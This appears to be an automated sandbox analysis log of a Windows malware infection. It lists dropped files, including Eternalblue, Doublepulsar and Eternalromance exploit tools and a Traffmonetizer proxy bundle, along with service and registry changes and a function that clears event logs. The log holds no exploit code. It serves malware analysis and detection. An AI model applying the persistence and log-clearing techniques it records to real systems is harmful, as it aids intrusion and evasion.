Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.TraceSource.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Encoding.Extensions.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Immutable.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Win32.Primitives.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Base.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.Queryable.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Numerics.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Encoding.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Formatters.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Json.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\tibe-2.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Tracing.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\cnli-1.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\zlib1.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Extensions.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.Primitives.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Globalization.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.Watcher.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Diagnostics.NETCore.Client.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.MemoryMappedFiles.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.Compression.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Tools.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.DriveInfo.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Json.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Buffers.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\ctfmoon.exe	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\ssleay32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XmlSerializer.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Primitives.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Tasks.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.AppContext.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.Metadata.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.WebSockets.Client.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Resources.Writer.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.CompilerServices.Unsafe.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\Wmicc.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.ReaderWriter.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Bcl.AsyncInterfaces.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Dynamic.Runtime.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\libeay32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Numerics.Vectors.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Diagnostics.Runtime.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Primitives.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Data.Common.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Temp\ctfmoon.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.Expressions.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\dmgd-4.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ValueTuple.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\ucl.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.EventBasedAsync.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.WebSockets.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Tasks.Parallel.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Csp.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\xdvl-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.CompilerServices.VisualC.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Handles.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\Eternalblue-2.2.0.exe	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\trfo-2.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.Compression.ZipFile.dll	Jump to dropped file
Source: C:\Windows\Temp\Hooks.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\GraphicsPerfSvcs.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.Primitives.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Algorithms.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Security.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.InteropServices.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Encoding.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Console.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ObjectModel.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\libxml2.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\posh-0.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\Doublepulsar-1.3.1.exe	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\trch-1.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Ping.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XmlDocument.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Resources.ResourceManager.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Globalization.Extensions.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Concurrent.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Contracts.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.NetworkInformation.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Specialized.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\x64.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.RegularExpressions.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\tucl-1.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Sockets.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.ThreadPool.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\crli-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Xml.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.IsolatedStorage.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Requests.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.Pipes.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Http.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.NonGeneric.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.X509Certificates.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Timer.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Thread.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Debug.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.StackTrace.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Tasks.Extensions.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.NameResolution.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Primitives.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.TextWriterTraceListener.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Drawing.Primitives.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\coli-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.InteropServices.RuntimeInformation.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.Extensions.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Overlapped.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.UnmanagedMemoryStream.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Memory.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\Framework\v3.0\WmiPrvSER.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Claims.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.Parallel.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\x86.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Globalization.Calendars.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.dll	Jump to dropped file
Source: C:\Users\user\Desktop\MSSQLH.exe	File created: C:\Windows\Logs\RunDllExe.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XPath.XDocument.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.SecureString.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.Primitives.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Encodings.Web.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\64[1].jpg	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.FileVersionInfo.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XDocument.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.TypeConverter.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\exma-1.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Net.WebHeaderCollection.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Principal.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Resources.Reader.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XPath.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\Eternalromance-1.4.0.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\Meson.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\netstandard.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.TraceSource.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Encoding.Extensions.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Immutable.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Win32.Primitives.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Base.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.Queryable.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Numerics.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Encoding.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Formatters.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Serialization.Json.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\tibe-2.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Tracing.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\cnli-1.dll	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\zlib1.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Runtime.Extensions.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.Primitives.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Globalization.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.Watcher.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Diagnostics.NETCore.Client.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.MemoryMappedFiles.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.Compression.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Tools.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.DriveInfo.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Text.Json.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Buffers.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\ctfmoon.exe	Jump to dropped file
Source: C:\Windows\Temp\MpMgSvc.exe	File created: C:\Windows\Temp\ssleay32.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Xml.XmlSerializer.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Security.Cryptography.Primitives.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Tasks.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.AppContext.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\Microsoft.NET\traffmonetizer\System.Reflection.Metadata.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\svchost.exe

File created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\64[1].jpg

Jump to dropped file

Source: C:\Windows\Temp\Hooks.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\GraphicsPerfSvcs

Jump to behavior

Source: C:\Users\user\Desktop\MSSQLH.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Spooler

Jump to behavior

Source: C:\Users\user\Desktop\MSSQLH.exe

Code function: 1_2_0040B8BA OpenSCManagerA,OpenServiceA,StartServiceA,CloseServiceHandle,CloseServiceHandle,

1_2_0040B8BA

Source: C:\Users\user\Desktop\38iGnQnL33.exe	Code function: 0_2_0040500E IsIconic,GetWindowPlacement,GetWindowRect,	0_2_0040500E
Source: C:\Users\user\Desktop\MSSQLH.exe	Code function: 1_2_00415B1E IsIconic,GetWindowPlacement,GetWindowRect,	1_2_00415B1E
Source: C:\Windows\Temp\Wmicc.exe	Code function: 63_2_0040BA4C IsIconic,GetWindowPlacement,GetWindowRect,	63_2_0040BA4C
Source: C:\Windows\Temp\Wmicc.exe	Code function: 63_2_00404AB3 IsIconic,	63_2_00404AB3

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 11_2_004090B0 OpenEventLogA,ClearEventLogA,OpenEventLogA,ClearEventLogA,CloseEventLog,

11_2_004090B0

Source: C:\Users\user\Desktop\38iGnQnL33.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\38iGnQnL33.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MSSQLH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\MpMgSvc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\Hooks.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
